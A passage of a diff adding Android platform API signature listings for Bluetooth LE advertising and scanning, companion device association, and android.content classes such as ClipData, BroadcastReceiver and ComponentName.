+    method public android.bluetooth.le.AdvertiseSettings.Builder setTimeout(int);
+    method public android.bluetooth.le.AdvertiseSettings.Builder setTxPowerLevel(int);
+  }
+
+  public final class AdvertisingSet {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void enableAdvertising(boolean, int, int);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setAdvertisingData(android.bluetooth.le.AdvertiseData);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setAdvertisingParameters(android.bluetooth.le.AdvertisingSetParameters);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setPeriodicAdvertisingData(android.bluetooth.le.AdvertiseData);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setPeriodicAdvertisingEnabled(boolean);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setPeriodicAdvertisingParameters(android.bluetooth.le.PeriodicAdvertisingParameters);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void setScanResponseData(android.bluetooth.le.AdvertiseData);
+  }
+
+  public abstract class AdvertisingSetCallback {
+    ctor public AdvertisingSetCallback();
+    method public void onAdvertisingDataSet(android.bluetooth.le.AdvertisingSet, int);
+    method public void onAdvertisingEnabled(android.bluetooth.le.AdvertisingSet, boolean, int);
+    method public void onAdvertisingParametersUpdated(android.bluetooth.le.AdvertisingSet, int, int);
+    method public void onAdvertisingSetStarted(android.bluetooth.le.AdvertisingSet, int, int);
+    method public void onAdvertisingSetStopped(android.bluetooth.le.AdvertisingSet);
+    method public void onPeriodicAdvertisingDataSet(android.bluetooth.le.AdvertisingSet, int);
+    method public void onPeriodicAdvertisingEnabled(android.bluetooth.le.AdvertisingSet, boolean, int);
+    method public void onPeriodicAdvertisingParametersUpdated(android.bluetooth.le.AdvertisingSet, int);
+    method public void onScanResponseDataSet(android.bluetooth.le.AdvertisingSet, int);
+    field public static final int ADVERTISE_FAILED_ALREADY_STARTED = 3; // 0x3
+    field public static final int ADVERTISE_FAILED_DATA_TOO_LARGE = 1; // 0x1
+    field public static final int ADVERTISE_FAILED_FEATURE_UNSUPPORTED = 5; // 0x5
+    field public static final int ADVERTISE_FAILED_INTERNAL_ERROR = 4; // 0x4
+    field public static final int ADVERTISE_FAILED_TOO_MANY_ADVERTISERS = 2; // 0x2
+    field public static final int ADVERTISE_SUCCESS = 0; // 0x0
+  }
+
+  public final class AdvertisingSetParameters implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getInterval();
+    method public int getPrimaryPhy();
+    method public int getSecondaryPhy();
+    method public int getTxPowerLevel();
+    method public boolean includeTxPower();
+    method public boolean isAnonymous();
+    method public boolean isConnectable();
+    method public boolean isLegacy();
+    method public boolean isScannable();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.AdvertisingSetParameters> CREATOR;
+    field public static final int INTERVAL_HIGH = 1600; // 0x640
+    field public static final int INTERVAL_LOW = 160; // 0xa0
+    field public static final int INTERVAL_MAX = 16777215; // 0xffffff
+    field public static final int INTERVAL_MEDIUM = 400; // 0x190
+    field public static final int INTERVAL_MIN = 160; // 0xa0
+    field public static final int TX_POWER_HIGH = 1; // 0x1
+    field public static final int TX_POWER_LOW = -15; // 0xfffffff1
+    field public static final int TX_POWER_MAX = 1; // 0x1
+    field public static final int TX_POWER_MEDIUM = -7; // 0xfffffff9
+    field public static final int TX_POWER_MIN = -127; // 0xffffff81
+    field public static final int TX_POWER_ULTRA_LOW = -21; // 0xffffffeb
+  }
+
+  public static final class AdvertisingSetParameters.Builder {
+    ctor public AdvertisingSetParameters.Builder();
+    method public android.bluetooth.le.AdvertisingSetParameters build();
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setAnonymous(boolean);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setConnectable(boolean);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setIncludeTxPower(boolean);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setInterval(int);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setLegacyMode(boolean);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setPrimaryPhy(int);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setScannable(boolean);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setSecondaryPhy(int);
+    method public android.bluetooth.le.AdvertisingSetParameters.Builder setTxPowerLevel(int);
+  }
+
+  public final class BluetoothLeAdvertiser {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertising(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertising(android.bluetooth.le.AdvertiseSettings, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertisingSet(android.bluetooth.le.AdvertisingSetParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.PeriodicAdvertisingParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertisingSetCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertisingSet(android.bluetooth.le.AdvertisingSetParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.PeriodicAdvertisingParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertisingSetCallback, android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertisingSet(android.bluetooth.le.AdvertisingSetParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.PeriodicAdvertisingParameters, android.bluetooth.le.AdvertiseData, int, int, android.bluetooth.le.AdvertisingSetCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void startAdvertisingSet(android.bluetooth.le.AdvertisingSetParameters, android.bluetooth.le.AdvertiseData, android.bluetooth.le.AdvertiseData, android.bluetooth.le.PeriodicAdvertisingParameters, android.bluetooth.le.AdvertiseData, int, int, android.bluetooth.le.AdvertisingSetCallback, android.os.Handler);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void stopAdvertising(android.bluetooth.le.AdvertiseCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_ADVERTISE) public void stopAdvertisingSet(android.bluetooth.le.AdvertisingSetCallback);
+  }
+
+  public final class BluetoothLeScanner {
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void flushPendingScanResults(android.bluetooth.le.ScanCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void startScan(android.bluetooth.le.ScanCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void startScan(java.util.List<android.bluetooth.le.ScanFilter>, android.bluetooth.le.ScanSettings, android.bluetooth.le.ScanCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public int startScan(@Nullable java.util.List<android.bluetooth.le.ScanFilter>, @Nullable android.bluetooth.le.ScanSettings, @NonNull android.app.PendingIntent);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void stopScan(android.bluetooth.le.ScanCallback);
+    method @RequiresPermission(android.Manifest.permission.BLUETOOTH_SCAN) public void stopScan(android.app.PendingIntent);
+    field public static final String EXTRA_CALLBACK_TYPE = "android.bluetooth.le.extra.CALLBACK_TYPE";
+    field public static final String EXTRA_ERROR_CODE = "android.bluetooth.le.extra.ERROR_CODE";
+    field public static final String EXTRA_LIST_SCAN_RESULT = "android.bluetooth.le.extra.LIST_SCAN_RESULT";
+  }
+
+  public final class PeriodicAdvertisingParameters implements android.os.Parcelable {
+    method public int describeContents();
+    method public boolean getIncludeTxPower();
+    method public int getInterval();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final android.os.Parcelable.Creator<android.bluetooth.le.PeriodicAdvertisingParameters> CREATOR;
+  }
+
+  public static final class PeriodicAdvertisingParameters.Builder {
+    ctor public PeriodicAdvertisingParameters.Builder();
+    method public android.bluetooth.le.PeriodicAdvertisingParameters build();
+    method public android.bluetooth.le.PeriodicAdvertisingParameters.Builder setIncludeTxPower(boolean);
+    method public android.bluetooth.le.PeriodicAdvertisingParameters.Builder setInterval(int);
+  }
+
+  public abstract class ScanCallback {
+    ctor public ScanCallback();
+    method public void onBatchScanResults(java.util.List<android.bluetooth.le.ScanResult>);
+    method public void onScanFailed(int);
+    method public void onScanResult(int, android.bluetooth.le.ScanResult);
+    field public static final int SCAN_FAILED_ALREADY_STARTED = 1; // 0x1
+    field public static final int SCAN_FAILED_APPLICATION_REGISTRATION_FAILED = 2; // 0x2
+    field public static final int SCAN_FAILED_FEATURE_UNSUPPORTED = 4; // 0x4
+    field public static final int SCAN_FAILED_INTERNAL_ERROR = 3; // 0x3
+  }
+
+  public final class ScanFilter implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public String getDeviceAddress();
+    method @Nullable public String getDeviceName();
+    method @Nullable public byte[] getManufacturerData();
+    method @Nullable public byte[] getManufacturerDataMask();
+    method public int getManufacturerId();
+    method @Nullable public byte[] getServiceData();
+    method @Nullable public byte[] getServiceDataMask();
+    method @Nullable public android.os.ParcelUuid getServiceDataUuid();
+    method @Nullable public android.os.ParcelUuid getServiceSolicitationUuid();
+    method @Nullable public android.os.ParcelUuid getServiceSolicitationUuidMask();
+    method @Nullable public android.os.ParcelUuid getServiceUuid();
+    method @Nullable public android.os.ParcelUuid getServiceUuidMask();
+    method public boolean matches(android.bluetooth.le.ScanResult);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.ScanFilter> CREATOR;
+  }
+
+  public static final class ScanFilter.Builder {
+    ctor public ScanFilter.Builder();
+    method public android.bluetooth.le.ScanFilter build();
+    method public android.bluetooth.le.ScanFilter.Builder setDeviceAddress(String);
+    method public android.bluetooth.le.ScanFilter.Builder setDeviceName(String);
+    method public android.bluetooth.le.ScanFilter.Builder setManufacturerData(int, byte[]);
+    method public android.bluetooth.le.ScanFilter.Builder setManufacturerData(int, byte[], byte[]);
+    method public android.bluetooth.le.ScanFilter.Builder setServiceData(android.os.ParcelUuid, byte[]);
+    method public android.bluetooth.le.ScanFilter.Builder setServiceData(android.os.ParcelUuid, byte[], byte[]);
+    method @NonNull public android.bluetooth.le.ScanFilter.Builder setServiceSolicitationUuid(@Nullable android.os.ParcelUuid);
+    method @NonNull public android.bluetooth.le.ScanFilter.Builder setServiceSolicitationUuid(@Nullable android.os.ParcelUuid, @Nullable android.os.ParcelUuid);
+    method public android.bluetooth.le.ScanFilter.Builder setServiceUuid(android.os.ParcelUuid);
+    method public android.bluetooth.le.ScanFilter.Builder setServiceUuid(android.os.ParcelUuid, android.os.ParcelUuid);
+  }
+
+  public final class ScanRecord {
+    method public int getAdvertiseFlags();
+    method public byte[] getBytes();
+    method @Nullable public String getDeviceName();
+    method public android.util.SparseArray<byte[]> getManufacturerSpecificData();
+    method @Nullable public byte[] getManufacturerSpecificData(int);
+    method public java.util.Map<android.os.ParcelUuid,byte[]> getServiceData();
+    method @Nullable public byte[] getServiceData(android.os.ParcelUuid);
+    method @NonNull public java.util.List<android.os.ParcelUuid> getServiceSolicitationUuids();
+    method public java.util.List<android.os.ParcelUuid> getServiceUuids();
+    method public int getTxPowerLevel();
+  }
+
+  public final class ScanResult implements android.os.Parcelable {
+    ctor @Deprecated public ScanResult(android.bluetooth.BluetoothDevice, android.bluetooth.le.ScanRecord, int, long);
+    ctor public ScanResult(android.bluetooth.BluetoothDevice, int, int, int, int, int, int, int, android.bluetooth.le.ScanRecord, long);
+    method public int describeContents();
+    method public int getAdvertisingSid();
+    method public int getDataStatus();
+    method public android.bluetooth.BluetoothDevice getDevice();
+    method public int getPeriodicAdvertisingInterval();
+    method public int getPrimaryPhy();
+    method public int getRssi();
+    method @Nullable public android.bluetooth.le.ScanRecord getScanRecord();
+    method public int getSecondaryPhy();
+    method public long getTimestampNanos();
+    method public int getTxPower();
+    method public boolean isConnectable();
+    method public boolean isLegacy();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.ScanResult> CREATOR;
+    field public static final int DATA_COMPLETE = 0; // 0x0
+    field public static final int DATA_TRUNCATED = 2; // 0x2
+    field public static final int PERIODIC_INTERVAL_NOT_PRESENT = 0; // 0x0
+    field public static final int PHY_UNUSED = 0; // 0x0
+    field public static final int SID_NOT_PRESENT = 255; // 0xff
+    field public static final int TX_POWER_NOT_PRESENT = 127; // 0x7f
+  }
+
+  public final class ScanSettings implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getCallbackType();
+    method public boolean getLegacy();
+    method public int getPhy();
+    method public long getReportDelayMillis();
+    method public int getScanMode();
+    method public int getScanResultType();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CALLBACK_TYPE_ALL_MATCHES = 1; // 0x1
+    field public static final int CALLBACK_TYPE_FIRST_MATCH = 2; // 0x2
+    field public static final int CALLBACK_TYPE_MATCH_LOST = 4; // 0x4
+    field @NonNull public static final android.os.Parcelable.Creator<android.bluetooth.le.ScanSettings> CREATOR;
+    field public static final int MATCH_MODE_AGGRESSIVE = 1; // 0x1
+    field public static final int MATCH_MODE_STICKY = 2; // 0x2
+    field public static final int MATCH_NUM_FEW_ADVERTISEMENT = 2; // 0x2
+    field public static final int MATCH_NUM_MAX_ADVERTISEMENT = 3; // 0x3
+    field public static final int MATCH_NUM_ONE_ADVERTISEMENT = 1; // 0x1
+    field public static final int PHY_LE_ALL_SUPPORTED = 255; // 0xff
+    field public static final int SCAN_MODE_BALANCED = 1; // 0x1
+    field public static final int SCAN_MODE_LOW_LATENCY = 2; // 0x2
+    field public static final int SCAN_MODE_LOW_POWER = 0; // 0x0
+    field public static final int SCAN_MODE_OPPORTUNISTIC = -1; // 0xffffffff
+  }
+
+  public static final class ScanSettings.Builder {
+    ctor public ScanSettings.Builder();
+    method public android.bluetooth.le.ScanSettings build();
+    method public android.bluetooth.le.ScanSettings.Builder setCallbackType(int);
+    method public android.bluetooth.le.ScanSettings.Builder setLegacy(boolean);
+    method public android.bluetooth.le.ScanSettings.Builder setMatchMode(int);
+    method public android.bluetooth.le.ScanSettings.Builder setNumOfMatches(int);
+    method public android.bluetooth.le.ScanSettings.Builder setPhy(int);
+    method public android.bluetooth.le.ScanSettings.Builder setReportDelay(long);
+    method public android.bluetooth.le.ScanSettings.Builder setScanMode(int);
+  }
+
+}
+
+package android.companion {
+
+  public final class AssociationRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.companion.AssociationRequest> CREATOR;
+    field public static final String DEVICE_PROFILE_WATCH = "android.app.role.COMPANION_DEVICE_WATCH";
+  }
+
+  public static final class AssociationRequest.Builder {
+    ctor public AssociationRequest.Builder();
+    method @NonNull public android.companion.AssociationRequest.Builder addDeviceFilter(@Nullable android.companion.DeviceFilter<?>);
+    method @NonNull public android.companion.AssociationRequest build();
+    method @NonNull public android.companion.AssociationRequest.Builder setDeviceProfile(@NonNull String);
+    method @NonNull public android.companion.AssociationRequest.Builder setSingleDevice(boolean);
+  }
+
+  public final class BluetoothDeviceFilter implements android.companion.DeviceFilter<android.bluetooth.BluetoothDevice> {
+    method public int describeContents();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.companion.BluetoothDeviceFilter> CREATOR;
+  }
+
+  public static final class BluetoothDeviceFilter.Builder {
+    ctor public BluetoothDeviceFilter.Builder();
+    method @NonNull public android.companion.BluetoothDeviceFilter.Builder addServiceUuid(@Nullable android.os.ParcelUuid, @Nullable android.os.ParcelUuid);
+    method @NonNull public android.companion.BluetoothDeviceFilter build();
+    method @NonNull public android.companion.BluetoothDeviceFilter.Builder setAddress(@Nullable String);
+    method public android.companion.BluetoothDeviceFilter.Builder setNamePattern(@Nullable java.util.regex.Pattern);
+  }
+
+  public final class BluetoothLeDeviceFilter implements android.companion.DeviceFilter<android.bluetooth.le.ScanResult> {
+    method public int describeContents();
+    method public static int getRenamePrefixLengthLimit();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.companion.BluetoothLeDeviceFilter> CREATOR;
+  }
+
+  public static final class BluetoothLeDeviceFilter.Builder {
+    ctor public BluetoothLeDeviceFilter.Builder();
+    method @NonNull public android.companion.BluetoothLeDeviceFilter build();
+    method public android.companion.BluetoothLeDeviceFilter.Builder setNamePattern(@Nullable java.util.regex.Pattern);
+    method @NonNull public android.companion.BluetoothLeDeviceFilter.Builder setRawDataFilter(@NonNull byte[], @Nullable byte[]);
+    method @NonNull public android.companion.BluetoothLeDeviceFilter.Builder setRenameFromBytes(@NonNull String, @NonNull String, int, int, java.nio.ByteOrder);
+    method @NonNull public android.companion.BluetoothLeDeviceFilter.Builder setRenameFromName(@NonNull String, @NonNull String, int, int);
+    method @NonNull public android.companion.BluetoothLeDeviceFilter.Builder setScanFilter(@Nullable android.bluetooth.le.ScanFilter);
+  }
+
+  public final class CompanionDeviceManager {
+    method @RequiresPermission(value=android.Manifest.permission.REQUEST_COMPANION_PROFILE_WATCH, conditional=true) public void associate(@NonNull android.companion.AssociationRequest, @NonNull android.companion.CompanionDeviceManager.Callback, @Nullable android.os.Handler);
+    method public void disassociate(@NonNull String);
+    method @NonNull public java.util.List<java.lang.String> getAssociations();
+    method public boolean hasNotificationAccess(android.content.ComponentName);
+    method public void requestNotificationAccess(android.content.ComponentName);
+    method @RequiresPermission(android.Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) public void startObservingDevicePresence(@NonNull String) throws android.companion.DeviceNotAssociatedException;
+    method @RequiresPermission(android.Manifest.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE) public void stopObservingDevicePresence(@NonNull String) throws android.companion.DeviceNotAssociatedException;
+    field public static final String EXTRA_DEVICE = "android.companion.extra.DEVICE";
+  }
+
+  public abstract static class CompanionDeviceManager.Callback {
+    ctor public CompanionDeviceManager.Callback();
+    method public abstract void onDeviceFound(android.content.IntentSender);
+    method public abstract void onFailure(CharSequence);
+  }
+
+  public abstract class CompanionDeviceService extends android.app.Service {
+    ctor public CompanionDeviceService();
+    method @Nullable public final android.os.IBinder onBind(@NonNull android.content.Intent);
+    method @MainThread public abstract void onDeviceAppeared(@NonNull String);
+    method @MainThread public abstract void onDeviceDisappeared(@NonNull String);
+    field public static final String SERVICE_INTERFACE = "android.companion.CompanionDeviceService";
+  }
+
+  public interface DeviceFilter<D extends android.os.Parcelable> extends android.os.Parcelable {
+  }
+
+  public class DeviceNotAssociatedException extends java.lang.RuntimeException {
+  }
+
+  public final class WifiDeviceFilter implements android.companion.DeviceFilter<android.net.wifi.ScanResult> {
+    method public int describeContents();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.companion.WifiDeviceFilter> CREATOR;
+  }
+
+  public static final class WifiDeviceFilter.Builder {
+    ctor public WifiDeviceFilter.Builder();
+    method @NonNull public android.companion.WifiDeviceFilter build();
+    method @NonNull public android.companion.WifiDeviceFilter.Builder setBssid(@NonNull android.net.MacAddress);
+    method @NonNull public android.companion.WifiDeviceFilter.Builder setBssidMask(@NonNull android.net.MacAddress);
+    method @NonNull public android.companion.WifiDeviceFilter.Builder setNamePattern(@Nullable java.util.regex.Pattern);
+  }
+
+}
+
+package android.content {
+
+  public abstract class AbstractThreadedSyncAdapter {
+    ctor public AbstractThreadedSyncAdapter(android.content.Context, boolean);
+    ctor public AbstractThreadedSyncAdapter(android.content.Context, boolean, boolean);
+    method public android.content.Context getContext();
+    method public final android.os.IBinder getSyncAdapterBinder();
+    method public abstract void onPerformSync(android.accounts.Account, android.os.Bundle, String, android.content.ContentProviderClient, android.content.SyncResult);
+    method public void onSecurityException(android.accounts.Account, android.os.Bundle, String, android.content.SyncResult);
+    method public void onSyncCanceled();
+    method public void onSyncCanceled(Thread);
+    method @MainThread public boolean onUnsyncableAccount();
+    field @Deprecated public static final int LOG_SYNC_DETAILS = 2743; // 0xab7
+  }
+
+  public class ActivityNotFoundException extends java.lang.RuntimeException {
+    ctor public ActivityNotFoundException();
+    ctor public ActivityNotFoundException(String);
+  }
+
+  public abstract class AsyncQueryHandler extends android.os.Handler {
+    ctor public AsyncQueryHandler(android.content.ContentResolver);
+    method public final void cancelOperation(int);
+    method protected android.os.Handler createHandler(android.os.Looper);
+    method protected void onDeleteComplete(int, Object, int);
+    method protected void onInsertComplete(int, Object, android.net.Uri);
+    method protected void onQueryComplete(int, Object, android.database.Cursor);
+    method protected void onUpdateComplete(int, Object, int);
+    method public final void startDelete(int, Object, android.net.Uri, String, String[]);
+    method public final void startInsert(int, Object, android.net.Uri, android.content.ContentValues);
+    method public void startQuery(int, Object, android.net.Uri, String[], String, String[], String);
+    method public final void startUpdate(int, Object, android.net.Uri, android.content.ContentValues, String, String[]);
+  }
+
+  protected static final class AsyncQueryHandler.WorkerArgs {
+    ctor protected AsyncQueryHandler.WorkerArgs();
+    field public Object cookie;
+    field public android.os.Handler handler;
+    field public String orderBy;
+    field public String[] projection;
+    field public Object result;
+    field public String selection;
+    field public String[] selectionArgs;
+    field public android.net.Uri uri;
+    field public android.content.ContentValues values;
+  }
+
+  protected class AsyncQueryHandler.WorkerHandler extends android.os.Handler {
+    ctor public AsyncQueryHandler.WorkerHandler(android.os.Looper);
+  }
+
+  @Deprecated public abstract class AsyncTaskLoader<D> extends android.content.Loader<D> {
+    ctor @Deprecated public AsyncTaskLoader(android.content.Context);
+    method @Deprecated public void cancelLoadInBackground();
+    method @Deprecated public boolean isLoadInBackgroundCanceled();
+    method @Deprecated public abstract D loadInBackground();
+    method @Deprecated public void onCanceled(D);
+    method @Deprecated protected D onLoadInBackground();
+    method @Deprecated public void setUpdateThrottle(long);
+  }
+
+  public final class AttributionSource implements android.os.Parcelable {
+    method public boolean checkCallingUid();
+    method public int describeContents();
+    method public void enforceCallingUid();
+    method @Nullable public String getAttributionTag();
+    method @Nullable public android.content.AttributionSource getNext();
+    method @Nullable public String getPackageName();
+    method public int getUid();
+    method public boolean isTrusted(@NonNull android.content.Context);
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.AttributionSource> CREATOR;
+  }
+
+  public static final class AttributionSource.Builder {
+    ctor public AttributionSource.Builder(int);
+    method @NonNull public android.content.AttributionSource build();
+    method @NonNull public android.content.AttributionSource.Builder setAttributionTag(@Nullable String);
+    method @NonNull public android.content.AttributionSource.Builder setNext(@Nullable android.content.AttributionSource);
+    method @NonNull public android.content.AttributionSource.Builder setPackageName(@Nullable String);
+  }
+
+  public abstract class BroadcastReceiver {
+    ctor public BroadcastReceiver();
+    method public final void abortBroadcast();
+    method public final void clearAbortBroadcast();
+    method public final boolean getAbortBroadcast();
+    method public final boolean getDebugUnregister();
+    method public final int getResultCode();
+    method public final String getResultData();
+    method public final android.os.Bundle getResultExtras(boolean);
+    method public final android.content.BroadcastReceiver.PendingResult goAsync();
+    method public final boolean isInitialStickyBroadcast();
+    method public final boolean isOrderedBroadcast();
+    method public abstract void onReceive(android.content.Context, android.content.Intent);
+    method public android.os.IBinder peekService(android.content.Context, android.content.Intent);
+    method public final void setDebugUnregister(boolean);
+    method public final void setOrderedHint(boolean);
+    method public final void setResult(int, String, android.os.Bundle);
+    method public final void setResultCode(int);
+    method public final void setResultData(String);
+    method public final void setResultExtras(android.os.Bundle);
+  }
+
+  public static class BroadcastReceiver.PendingResult {
+    method public final void abortBroadcast();
+    method public final void clearAbortBroadcast();
+    method public final void finish();
+    method public final boolean getAbortBroadcast();
+    method public final int getResultCode();
+    method public final String getResultData();
+    method public final android.os.Bundle getResultExtras(boolean);
+    method public final void setResult(int, String, android.os.Bundle);
+    method public final void setResultCode(int);
+    method public final void setResultData(String);
+    method public final void setResultExtras(android.os.Bundle);
+  }
+
+  public class ClipData implements android.os.Parcelable {
+    ctor public ClipData(CharSequence, String[], android.content.ClipData.Item);
+    ctor public ClipData(android.content.ClipDescription, android.content.ClipData.Item);
+    ctor public ClipData(android.content.ClipData);
+    method public void addItem(android.content.ClipData.Item);
+    method public void addItem(android.content.ContentResolver, android.content.ClipData.Item);
+    method public int describeContents();
+    method public android.content.ClipDescription getDescription();
+    method public android.content.ClipData.Item getItemAt(int);
+    method public int getItemCount();
+    method public static android.content.ClipData newHtmlText(CharSequence, CharSequence, String);
+    method public static android.content.ClipData newIntent(CharSequence, android.content.Intent);
+    method public static android.content.ClipData newPlainText(CharSequence, CharSequence);
+    method public static android.content.ClipData newRawUri(CharSequence, android.net.Uri);
+    method public static android.content.ClipData newUri(android.content.ContentResolver, CharSequence, android.net.Uri);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ClipData> CREATOR;
+  }
+
+  public static class ClipData.Item {
+    ctor public ClipData.Item(CharSequence);
+    ctor public ClipData.Item(CharSequence, String);
+    ctor public ClipData.Item(android.content.Intent);
+    ctor public ClipData.Item(android.net.Uri);
+    ctor public ClipData.Item(CharSequence, android.content.Intent, android.net.Uri);
+    ctor public ClipData.Item(CharSequence, String, android.content.Intent, android.net.Uri);
+    method public String coerceToHtmlText(android.content.Context);
+    method public CharSequence coerceToStyledText(android.content.Context);
+    method public CharSequence coerceToText(android.content.Context);
+    method public String getHtmlText();
+    method public android.content.Intent getIntent();
+    method public CharSequence getText();
+    method @Nullable public android.view.textclassifier.TextLinks getTextLinks();
+    method public android.net.Uri getUri();
+  }
+
+  public class ClipDescription implements android.os.Parcelable {
+    ctor public ClipDescription(CharSequence, String[]);
+    ctor public ClipDescription(android.content.ClipDescription);
+    method public static boolean compareMimeTypes(String, String);
+    method public int describeContents();
+    method public String[] filterMimeTypes(String);
+    method public int getClassificationStatus();
+    method @FloatRange(from=0.0, to=1.0) public float getConfidenceScore(@NonNull String);
+    method public android.os.PersistableBundle getExtras();
+    method public CharSequence getLabel();
+    method public String getMimeType(int);
+    method public int getMimeTypeCount();
+    method public long getTimestamp();
+    method public boolean hasMimeType(String);
+    method public boolean isStyledText();
+    method public void setExtras(android.os.PersistableBundle);
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int CLASSIFICATION_COMPLETE = 3; // 0x3
+    field public static final int CLASSIFICATION_NOT_COMPLETE = 1; // 0x1
+    field public static final int CLASSIFICATION_NOT_PERFORMED = 2; // 0x2
+    field @NonNull public static final android.os.Parcelable.Creator<android.content.ClipDescription> CREATOR;
+    field public static final String MIMETYPE_TEXT_HTML = "text/html";
+    field public static final String MIMETYPE_TEXT_INTENT = "text/vnd.android.intent";
+    field public static final String MIMETYPE_TEXT_PLAIN = "text/plain";
+    field public static final String MIMETYPE_TEXT_URILIST = "text/uri-list";
+    field public static final String MIMETYPE_UNKNOWN = "application/octet-stream";
+  }
+
+  public class ClipboardManager extends android.text.ClipboardManager {
+    method public void addPrimaryClipChangedListener(android.content.ClipboardManager.OnPrimaryClipChangedListener);
+    method public void clearPrimaryClip();
+    method @Nullable public android.content.ClipData getPrimaryClip();
+    method @Nullable public android.content.ClipDescription getPrimaryClipDescription();
+    method @Deprecated public CharSequence getText();
+    method public boolean hasPrimaryClip();
+    method @Deprecated public boolean hasText();
+    method public void removePrimaryClipChangedListener(android.content.ClipboardManager.OnPrimaryClipChangedListener);
+    method public void setPrimaryClip(@NonNull android.content.ClipData);
+    method @Deprecated public void setText(CharSequence);
+  }
+
+  public static interface ClipboardManager.OnPrimaryClipChangedListener {
+    method public void onPrimaryClipChanged();
+  }
+
+  public interface ComponentCallbacks {
+    method public void onConfigurationChanged(@NonNull android.content.res.Configuration);
+    method public void onLowMemory();
+  }
+
+  public interface ComponentCallbacks2 extends android.content.ComponentCallbacks {
+    method public void onTrimMemory(int);
+    field public static final int TRIM_MEMORY_BACKGROUND = 40; // 0x28
+    field public static final int TRIM_MEMORY_COMPLETE = 80; // 0x50
+    field public static final int TRIM_MEMORY_MODERATE = 60; // 0x3c
+    field public static final int TRIM_MEMORY_RUNNING_CRITICAL = 15; // 0xf
+    field public static final int TRIM_MEMORY_RUNNING_LOW = 10; // 0xa
+    field public static final int TRIM_MEMORY_RUNNING_MODERATE = 5; // 0x5
+    field public static final int TRIM_MEMORY_UI_HIDDEN = 20; // 0x14
+  }
+
+  public final class ComponentName implements java.lang.Cloneable java.lang.Comparable<android.content.ComponentName> android.os.Parcelable {
+    ctor public ComponentName(@NonNull String, @NonNull String);
+    ctor public ComponentName(@NonNull android.content.Context, @NonNull String);
+    ctor public ComponentName(@NonNull android.content.Context, @NonNull Class<?>);
+    ctor public ComponentName(android.os.Parcel);
+    method public android.content.ComponentName clone();
+    method public int compareTo(android.content.ComponentName);
+    method @NonNull public static android.content.ComponentName createRelative(@NonNull String, @NonNull String);
+    method @NonNull public static android.content.ComponentName createRelative(@NonNull android.content.Context, @NonNull String);
+    method public int describeContents();
+    method @NonNull public String flattenToShortString();
+    method @NonNull public String flattenToString();
+    method @NonNull public String getClassName();
+    method @NonNull public String getPackageName();
+    method public String getShortClassName();
